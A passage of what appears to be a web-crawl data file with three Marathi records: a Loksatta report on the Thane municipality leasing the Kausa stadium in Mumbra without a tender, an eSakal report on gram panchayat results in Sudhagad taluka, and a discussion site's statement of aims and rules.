सर्वसाधारण सभेपुढे मांडण्यात आला होता. हा प्रस्ताव तयार करताना महापालिका प्रशासनाने सत्ताधारी शिवसेना आणि प्रमुख विरोधी पक्ष असलेल्या राष्ट्रवादी काँग्रेस अशा दोन्ही पक्षांच्या नेत्यांचे हितसंबंध जोपासले आहेत, असा आरोप ठाण्याचे आमदार संजय केळकर यांनी केला होता. विनानिविदा अशा वास्तू देता येणार नाहीत हा साधा नियम पाळला गेला नव्हता. त्याविरोधात प्रसारमाध्यमे आणि आमदार केळकर आक्रमक होताच यापुढे महापालिकेच्या सर्व वास्तू निविदा प्रक्रिया राबवूनच दिल्या जातील अशी घोषणा आयुक्त जयस्वाल यांनी केली होती. तसेच शहीद तुकाराम ओंबळे आणि मुंब्य्राचे स्टेडियम विनानिविदा भाडेपट्टय़ाने देण्याचे प्रस्तावही मागे घेण्यात आले होते. मात्र आता पुन्हा पालिकेने तोच प्रकार केला आहे.\nगेल्या काही महिन्यांपासून ठाणे शहरातील राजकीय वर्तुळात सुरू असलेल्या मनोमीलन नाटय़ानंतर मुंब्य्रातील हे स्टेडियम पुन्हा त्याच संस्थेला प्रायोगिक तत्त्वावर भाडेपट्टय़ावर देण्याचा निर्णय आयुक्त संजीव जयस्वाल यांनी घेतला असून यामागे राष्ट्रवादी कॉग्रेसच्या नगरसेवकांनी केलेल्या मागणीचा आधार घेण्यात आला आहे. महापालिकेने कौसा येथील तब्बल ३० कोटी रुपयांचा खर्च करून मोठे क्रीडासंकुल उभारले आहे. या ठिकाणी तरणतलाव, फुटबॉल मैदान तसेच विविध प्रकारच्या खेळांसाठी सुविधांची उभारणी करण्यात आली आहे. हे स्टेडियम स्वत: चालविण्याऐवजी खासगी संस्थेला भाडय़ाने देण्याचा प्रस्ताव मध्यंतरी महापालिकेने तयार केला होता. मात्र हे स्टेडियम शहराच्या एका कोपऱ्यावर असल्याने त्यास ठाणेकर खेळाडूंचा प्रतिसाद मिळणे कठीण आहे, असे प्रशासनाचे म्हणणे आहे. त्यामुळे फोएनिक्स स्पोर्टस संस्थेने स्टेडियम चालविण्यास स्वारस्य दाखविताच हे काम या संस्थेला देण्याचा निर्णय घेण्यात आला आहे. एकदा मागे घेण्यात आलेला निर्णय पुन्हा पुढे रेटण्यात आल्याने मुंब्य्रातील एका नेत्याला खूश करण्याचा हा प्रयत्न असल्याची चर्चा आहे.\nमहापालिका आयुक्त संजीव जयस्वाल यांच्याशी वारंवार संपर्क साधण्याचा प्रयत्न करूनही तो होऊ शकला नाही. दरम्यान, २० फेब्रुवारी रोजी झालेल्या महासभेत कौसाचे स्टेडियम सुरू करावे यासाठी मुंब्य्रातील नगरसेवकांनी आग्रह धरला होता. स्थानिक नगरसेवकांची नाराजी लक्षात घेऊन आणि सभागृहाची भावना विचारात घेऊन प्रायोगिक तत्त्वावर विनानिविदा हे स्टेडियम सदर संस्थेस चालविण्यास देण्यात आल्याचे क्रीडा विभागातील वरिष्ठ अधिकाऱ्याने स्पष्ट केले. नवा वास्तू अभिव्यक्ती स्वारस्य देकार होईपर्यंत हा ‘प्रयोग’ करण्यात आल्याचेही या अधिकाऱ्याने स्पष्ट केले.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00452.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/kokan/shekhap-top-gram-panchayat-elections-sudhagad-taluka-128258", "date_download": "2018-09-25T17:49:19Z", "digest": "sha1:FNIBTRNGZWBFHWGY6X6BFAIVB7735562", "length": 12307, "nlines": 176, "source_domain": "www.esakal.com", "title": "Shekhap top in Gram Panchayat elections in Sudhagad taluka सुधागड तालुक्यात ग्रामपंचायत निवडणुकीत शेकाप अव्वल | eSakal", "raw_content": "\nसुधागड तालुक्यात ग्रामपंचायत निवडणुकीत शेकाप अव्वल\nबुधवार, 4 जुलै 2018\nपाली : सुधागड तालुक्यातील 13 ग्रामपंचायतीच्या निवडणूका 27 मे रोजी संपन्न झाल्या. या निवडणूकीत सरपंच म्हणून निवडून आलेल्या उमेदवारांनी मंगळवारी (ता.3) कार्यभार स्विकारला. तसेच याचवेळी उपसरपंचाची निवड देखिल करण्यात आली.\nपाली : सुधागड तालुक्यातील 13 ग्रामपंचायतीच्या निवडणूका 27 मे रोजी संपन्न झाल्या. या निवडणूकीत सरपंच म्हणून निवडून आलेल्या उमेदवारांनी मंगळवारी (ता.3) कार्यभार स्विकारला. तसेच याचवेळी उपसरपंचाची निवड देखिल करण्यात आली.\nया निवडणुकीत 11 ग्रामपंचायतीच्या सरपंचपदी शेतकरी कामगार पक्षाचे (शेकाप) उमेदवार निवडून आले होते. तर मंगळवारी (ता.3) रायगड जिल्हाधिकारी यांच्या आदेशाने पार पडलेल्या उपसरपंचपदाच्या निवडणुकीत देखील 9 ग्रामपंचायतीत उपसरपंचपद मिळवत शेतकरी कामगार पक्ष अग्रस्थानी राहिला आहे. सुधागड तालुक्यातील नांदगाव, गोमाशी, पाच्छापूर, कळंब, नवघर, महागाव, दहिगाव, राबगाव व रासळ या नऊ ग्रामपंचायतीत शेकापचे उपसरपंच विराजमान झाले आहेत. तर परळी ग्रामपंचायतीच्या उपसरपंचपदी रिपांईचे दिपक महादू गायकवाड यांची बिनविरोध निवड करण्यात आली.\nजांभुळपाडा ग्रामपंचायतीच्या उपसरपंचपदी काँग्रेस पक्षाचे राजेश सिंगाडे यांची तर नाडसूर ग्रामपंचायत उपसरपंचपदी परिवर्तन नागरी आघाडीचे संदेश शेवाळे यांची वर्णी लागली. भार्जे उपसरपंचपदी राष्ट्रवादी काँग्रेसचे प्रविण कारेकर यांची निवड झाली.\nयावेळी शेकापचे नेते सुरेश खैरे म्हणाले, सुधागड तालुक्यात शेतकरी कामगार पक्षाच्या माध्यमातून जनतेला अपेक्षित असा सर्वांगिण विकास साधला आहे. जनतेने शेकापवर दाखविलेला विश्वास कायम सार्थकी ठरविला जाईल अशी ग्वाही याप्रसंगी खैरे यांनी दिली.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00453.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://maysabha.com/%E0%A4%93%E0%A4%B3%E0%A4%96/%E0%A4%89%E0%A4%A6%E0%A5%8D%E0%A4%A6%E0%A4%BF%E0%A4%B7%E0%A5%8D%E0%A4%9F%E0%A5%87/", "date_download": "2018-09-25T17:56:22Z", "digest": "sha1:3RSI5DP4TQSZDH4O426EK7MVK2OTD2OM", "length": 4258, "nlines": 70, "source_domain": "maysabha.com", "title": "उद्दिष्टे « मयसभा", "raw_content": "\nHome » ओळख » उद्दिष्टे\nआमची बहुतेकांची एकमेकांशी ओळख झाली इंटरनेटमुळं. विचार करणं (आणि ते दुसऱ्याला ऐकवणं) हा एकमेव समान धागा. कोण, कधी, कशावरून, कुणाशी सहमती अथवा मतभेद व्यक्त करील याचा नेम नाही. आणि हा नसलेला नेमच घट्ट वीण जुळण्यासाठी कारणीभूत ठरला. अजून एक महत्वाची गोष्ट म्हणजे कुणाला या विषयात गती तर कुणाला त्या विषयात गती. आणि कुणीही कुणालाही कशावरही प्रश्न करण्याची एकमेकाला न बोलता दिलेली मुभा हा गाभा.\nहे असं सगळं असल्यानं चर्चा करायला एक विस्तृत माध्यम हवं म्हणून एक आपल्यापुरता एक कट्टा निर्माण करण्याची गरज ही या संकेतस्थळाची माता.\n१. कशावरही चर्चा करणे\n२. वाद (कधी कधी वितंडवाद) घालणे\n३. कला, साहित्य यातील नसलेल्या ज्ञानाचे नियमीत प्रदर्शन करणे\n४. कधी कविता कधी लेख होतात हे दाखवणे\n५. ज्येष्ठ आणि श्रेष्ठ नेत्यांना आपणच राजकारण शिकवलं आणि देशाच आपल्याशिवाय पान हलत नाही हे माहीत असल्यानं त्यावर भाष्य करणे\n६. आणिक काही स्पृश्यास्पृश्य विषय असतील तर त्यावरदेखील अधून मधून हात साफ करून घेणे.\n१. साईट आमची”च” आहे, सबब नियम आमचे”च” असतील\n२. भाषा कधी मराठी कधी इंग्रजी आणि कधी इतर अशा वापरल्या जातील\n३. जोपर्यंत लिखाण वैयक्तिक नाही तोपर्यंत सभ्य भाषा वापरण्याची सक्ती नाही\n४. सर्व लिखाणाचे मालकी हक्क मूळ लेखकाकडे असतील\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00453.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"}